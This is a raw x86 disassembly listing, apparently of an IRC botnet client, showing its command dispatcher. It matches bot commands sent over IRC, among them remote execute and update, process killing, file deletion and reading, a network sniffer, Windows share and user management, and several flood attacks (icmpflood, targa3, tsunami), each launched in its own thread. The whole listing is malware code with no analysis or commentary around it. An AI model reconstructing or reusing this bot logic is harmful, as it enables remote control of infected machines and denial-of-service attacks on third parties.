		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42DD44
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 14h


loc_404E61:				; CODE XREF: sub_401AC7+32BFj
					; sub_401AC7+32CCj
		push	[ebp+arg_10]
		push	offset aNotice_0 ; "notice"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404F4D
		cmp	[ebp+esi+var_88], ebx
		jz	loc_404F4D
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 24h
		call	sub_417DF2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 14h
		call	sub_417DF2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 14h


loc_404F4D:				; CODE XREF: sub_401AC7+33ABj
					; sub_401AC7+33B8j
		push	[ebp+arg_10]
		push	offset aCtcp	; "ctcp"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405061
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405061
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42DC3C
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 20h
		call	sub_417DF2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42DC24
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 10h
		call	sub_417DF2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42DC0C
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 10h
		call	sub_417DF2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42DC0C
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 10h


loc_405061:				; CODE XREF: sub_401AC7+3497j
					; sub_401AC7+34A4j
		push	[ebp+arg_10]
		push	offset aMix	; "mix"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405184
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405184
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42DC3C
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 20h
		call	sub_417DF2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 14h
		call	sub_417DF2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 14h
		call	sub_417DF2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 14h


loc_405184:				; CODE XREF: sub_401AC7+35ABj
					; sub_401AC7+35B8j
		push	[ebp+arg_10]
		push	offset aRegister ; "register"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4051CA
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_4051CA
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 14h


loc_4051CA:				; CODE XREF: sub_401AC7+36CEj
					; sub_401AC7+36D9j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405A11
		mov	edi, offset dword_4D1464


loc_4051E6:				; CODE XREF: sub_401AC7+373Ej
		cmp	dword ptr [edi-4], 1
		jnz	short loc_4051F9
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_4051F9
		push	eax
		call	dword_4C9894	; closesocket


loc_4051F9:				; CODE XREF: sub_401AC7+3723j
					; sub_401AC7+3729j
		add	edi, 210h
		cmp	edi, offset dword_4D7B84
		jl	short loc_4051E6
		cmp	[ebp+var_8], ebx
		jnz	loc_405A11
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42DBAC
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 14h
		jmp	loc_405A11
; ---------------------------------------------------------------------------


loc_40522F:				; CODE XREF: sub_401AC7+2C17j
		mov	edi, [ebp+arg_8]
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408955
		push	edi
		push	offset aN	; "n"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408955
		push	edi
		push	offset aJoin	; "join"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408931
		push	edi
		push	offset aJ_0	; "j"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408931
		push	edi
		push	offset aPart_0	; "part"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408914
		push	edi
		push	offset aPt	; "pt"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408914
		push	edi
		push	offset aRaw	; "raw"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088DB
		push	edi
		push	offset aR	; "r"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088DB
		push	edi
		push	offset aKillthread ; "killthread"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4087DB
		push	edi
		push	offset aK_0	; "k"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4087DB
		push	edi
		push	offset aC_quit	; "c_quit"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40872D
		push	edi
		push	offset aC_q	; "c_q"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40872D
		push	edi
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086DE
		push	edi
		push	offset aC_rn	; "c_rn"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086DE
		push	edi
		push	offset aPrefix	; "prefix"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086C5
		push	edi
		push	offset aPr	; "pr"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086C5
		push	edi
		push	offset aOpen	; "open"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408697
		push	edi
		push	offset aO	; "o"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408697
		push	edi
		push	offset aServer	; "server"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40866E
		push	edi
		push	offset aSe	; "se"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40866E
		push	edi
		push	offset aDns	; "dns"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408603
		push	edi
		push	offset aDn	; "dn"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408603
		push	edi
		push	offset aKillproc ; "killproc"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085D3
		push	edi
		push	offset aKp	; "kp"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085D3
		push	edi
		push	offset aKill	; "kill"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408574
		push	edi
		push	offset aKi	; "ki"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408574
		push	edi
		push	offset aDelete	; "delete"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40853C
		push	edi
		push	offset aDel	; "del"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40853C
		push	edi
		push	offset aList	; "list"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40851D
		push	edi
		push	offset aLi	; "li"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40851D
		push	edi
		push	offset aMirccmd	; "mirccmd"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4084A7
		push	edi
		push	offset aMirc	; "mirc"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4084A7
		push	edi
		push	offset aCmd	; "cmd"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408451
		push	edi
		push	offset aCm	; "cm"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408451
		push	edi
		push	offset aReadfile ; "readfile"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C6
		push	edi
		push	offset aRf	; "rf"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C6
		push	edi
		push	offset aSniffer	; "sniffer"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405675
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40563B
		push	21h
		call	sub_40A44B
		test	eax, eax
		pop	ecx
		jle	short loc_405568
		push	offset unk_42DAE8
		jmp	loc_40662D
; ---------------------------------------------------------------------------


loc_405568:				; CODE XREF: sub_401AC7+3A95j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_D98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_D10], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_D0C], eax
		jnz	short loc_4055AA
		mov	esi, offset dword_425140
		push	offset byte_43B9B8
		push	esi
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4055AA
		mov	esi, [ebp+var_88]


loc_4055AA:				; CODE XREF: sub_401AC7+3AC5j
					; sub_401AC7+3ADBj
		push	esi
		lea	eax, [ebp+var_D94]
		push	80h
		push	eax
		call	sub_417E90
		lea	eax, [ebp+var_2C4]
		push	offset unk_42DAB8
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40A203
		add	esp, 20h
		mov	[ebp+var_D14], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D98]
		push	ebx
		push	eax
		push	offset sub_41101A
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_D14]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_40562A


loc_405614:				; CODE XREF: sub_401AC7+3B61j
		cmp	[ebp+var_D08], ebx
		jnz	loc_4079A7
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_405614
; ---------------------------------------------------------------------------


loc_40562A:				; CODE XREF: sub_401AC7+3B4Bj
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42DA7C
		jmp	loc_406614
; ---------------------------------------------------------------------------


loc_40563B:				; CODE XREF: sub_401AC7+3A85j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4079A7
		push	ebx
		push	21h
		call	sub_40A3FE
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_40566B
		push	eax
		push	offset unk_42DA3C
		jmp	loc_406614
; ---------------------------------------------------------------------------


loc_40566B:				; CODE XREF: sub_401AC7+3B97j
		push	offset unk_42DA0C
		jmp	loc_40662D
; ---------------------------------------------------------------------------


loc_405675:				; CODE XREF: sub_401AC7+3A6Ej
		push	edi
		push	offset aIdent	; "ident"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40574A
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405710
		push	2
		call	sub_40A44B
		test	eax, eax
		pop	ecx
		jle	short loc_4056B3
		push	offset dword_42D9E4
		jmp	loc_40662D
; ---------------------------------------------------------------------------


loc_4056B3:				; CODE XREF: sub_401AC7+3BE0j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42D9B8
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40A203
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset sub_40F2F7
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43C754[esi], eax
		jnz	loc_4079A7
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42D984
		jmp	loc_406614
; ---------------------------------------------------------------------------


loc_405710:				; CODE XREF: sub_401AC7+3BD4j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4079A7
		push	ebx
		push	2
		call	sub_40A3FE
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405740
		push	eax
		push	offset dword_42D94C
		jmp	loc_406614
; ---------------------------------------------------------------------------


loc_405740:				; CODE XREF: sub_401AC7+3C6Cj
		push	offset dword_42D92C
		jmp	loc_40662D
; ---------------------------------------------------------------------------


loc_40574A:				; CODE XREF: sub_401AC7+3BBDj
		push	edi
		push	offset aNet	; "net"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4059E7
		cmp	dword_4C98CC, ebx
		jz	short loc_405779
		cmp	dword_4C98F4, ebx
		jz	short loc_405779
		push	offset unk_42D8F4
		jmp	loc_407BDB
; ---------------------------------------------------------------------------


loc_405779:				; CODE XREF: sub_401AC7+3C9Ej
					; sub_401AC7+3CA6j
		cmp	[ebp+var_C], ebx
		jz	loc_4063FE
		mov	edi, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	edi, ebx
		jz	short loc_40579E
		push	edi
		push	[ebp+var_C]
		call	sub_417E10
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_40579E:				; CODE XREF: sub_401AC7+3CC7j
		push	[ebp+arg_10]
		push	offset aStart	; "start"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405805
		cmp	edi, ebx
		jz	short loc_4057D9
		push	[ebp+arg_0]
		push	3


loc_4057BA:				; CODE XREF: sub_401AC7+3D56j
					; sub_401AC7+3D70j ...
		call	sub_415796
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42E264
		push	eax
		call	sub_417D96
		add	esp, 14h
		jmp	loc_4063FE
; ---------------------------------------------------------------------------


loc_4057D9:				; CODE XREF: sub_401AC7+3CECj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415A3D
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4057FB
		push	offset unk_42D8D0
		jmp	loc_407BDB
; ---------------------------------------------------------------------------


loc_4057FB:				; CODE XREF: sub_401AC7+3D28j
		push	offset unk_42D8B0
		jmp	loc_407BDB
; ---------------------------------------------------------------------------


loc_405805:				; CODE XREF: sub_401AC7+3CE8j
		push	[ebp+arg_10]
		push	offset aStop	; "stop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40581F
		push	[ebp+arg_0]
		push	4
		jmp	short loc_4057BA
; ---------------------------------------------------------------------------


loc_40581F:				; CODE XREF: sub_401AC7+3D4Fj
		push	[ebp+arg_10]
		push	offset aPause	; "pause"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405839
		push	[ebp+arg_0]
		push	5
		jmp	short loc_4057BA
; ---------------------------------------------------------------------------


loc_405839:				; CODE XREF: sub_401AC7+3D69j
		push	[ebp+arg_10]
		push	offset aContinue ; "continue"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405856
		push	[ebp+arg_0]
		push	6
		jmp	loc_4057BA
; ---------------------------------------------------------------------------


loc_405856:				; CODE XREF: sub_401AC7+3D83j
		push	[ebp+arg_10]
		push	offset aDelete	; "delete"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405873
		push	[ebp+arg_0]
		push	1
		jmp	loc_4057BA
; ---------------------------------------------------------------------------


loc_405873:				; CODE XREF: sub_401AC7+3DA0j
		push	[ebp+arg_10]
		push	offset aShare	; "share"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4058ED
		cmp	edi, ebx
		jz	short loc_4058C0
		cmp	[ebp+var_8FC], bl
		jz	short loc_405898
		push	ebx
		push	edi
		push	1
		jmp	short loc_4058A1
; ---------------------------------------------------------------------------


loc_405898:				; CODE XREF: sub_401AC7+3DC9j
		push	[ebp+esi+var_84]
		push	edi
		push	ebx


loc_4058A1:				; CODE XREF: sub_401AC7+3DCFj
		call	sub_415B7A
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42E264
		push	eax
		call	sub_417D96
		add	esp, 18h
		jmp	loc_4063FE
; ---------------------------------------------------------------------------


loc_4058C0:				; CODE XREF: sub_401AC7+3DC1j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415D08
		add	esp, 10h
		test	eax, eax
		jz	short loc_4058E3
		push	offset unk_42D874
		jmp	loc_407BDB
; ---------------------------------------------------------------------------


loc_4058E3:				; CODE XREF: sub_401AC7+3E10j
		push	offset unk_42D854
		jmp	loc_407BDB
; ---------------------------------------------------------------------------


loc_4058ED:				; CODE XREF: sub_401AC7+3DBDj
		push	[ebp+arg_10]
		push	offset aUser	; "user"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40598E
		cmp	edi, ebx
		jz	short loc_405961
		cmp	[ebp+var_8FC], bl
		jz	short loc_405922
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	edi
		push	1
		jmp	short loc_405942
; ---------------------------------------------------------------------------


loc_405922:				; CODE XREF: sub_401AC7+3E47j
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_40593E
		push	esi
		push	edi
		push	ebx
		jmp	short loc_405942
; ---------------------------------------------------------------------------


loc_40593E:				; CODE XREF: sub_401AC7+3E70j
		push	ebx
		push	edi
		push	2


loc_405942:				; CODE XREF: sub_401AC7+3E59j
					; sub_401AC7+3E75j
		call	sub_415E29
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42E264
		push	eax
		call	sub_417D96
		add	esp, 24h
		jmp	loc_4063FE
; ---------------------------------------------------------------------------


loc_405961:				; CODE XREF: sub_401AC7+3E3Fj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41633D
		add	esp, 10h
		test	eax, eax
		jz	short loc_405984
		push	offset unk_42D82C
		jmp	loc_407BDB
; ---------------------------------------------------------------------------


loc_405984:				; CODE XREF: sub_401AC7+3EB1j
		push	offset unk_42D80C
		jmp	loc_407BDB
; ---------------------------------------------------------------------------


loc_40598E:				; CODE XREF: sub_401AC7+3E37j
		push	[ebp+arg_10]
		push	offset aSend	; "send"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4059DD
		cmp	edi, ebx
		jz	short loc_4059D3
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4165F1
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42E264
		push	eax
		call	sub_417D96
		add	esp, 1Ch
		jmp	loc_4063FE
; ---------------------------------------------------------------------------


loc_4059D3:				; CODE XREF: sub_401AC7+3EDCj
		push	offset unk_42D7E0
		jmp	loc_407BDB
; ---------------------------------------------------------------------------


loc_4059DD:				; CODE XREF: sub_401AC7+3ED8j
		push	offset unk_42D7C4
		jmp	loc_407BDB
; ---------------------------------------------------------------------------


loc_4059E7:				; CODE XREF: sub_401AC7+3C92j
		push	edi
		push	offset aGethost	; "gethost"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082D8
		push	edi
		push	offset aGh	; "gh"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082D8


loc_405A11:				; CODE XREF: sub_401AC7+3714j
					; sub_401AC7+3743j ...
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		mov	[ebp+arg_1C], edi
		jz	loc_401E8B
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082BE
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082BE
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40827D
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40827D
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408223
		push	[ebp+arg_8]
		push	offset dword_42DD58
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408223
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081B1
		push	[ebp+arg_8]
		push	offset aA_2	; "a"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081B1
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40814D
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40814D
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40810F
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40810F
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4080A3
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4080A3
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408020
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408020
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407FB3
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407FB3
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F8D
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F8D
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F29
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F29
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E57
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E57
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D5F
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D5F
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C8B
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C8B
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407BEE
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407BEE
		push	[ebp+arg_8]
		push	offset aUpdate	; "update"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A63
		push	[ebp+arg_8]
		push	offset aU11p	; "u11p"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A63
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4079D0
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4079D0
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795B
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795B
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407864
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407864
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401E8B
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_418570
		pop	ecx
		test	eax, eax
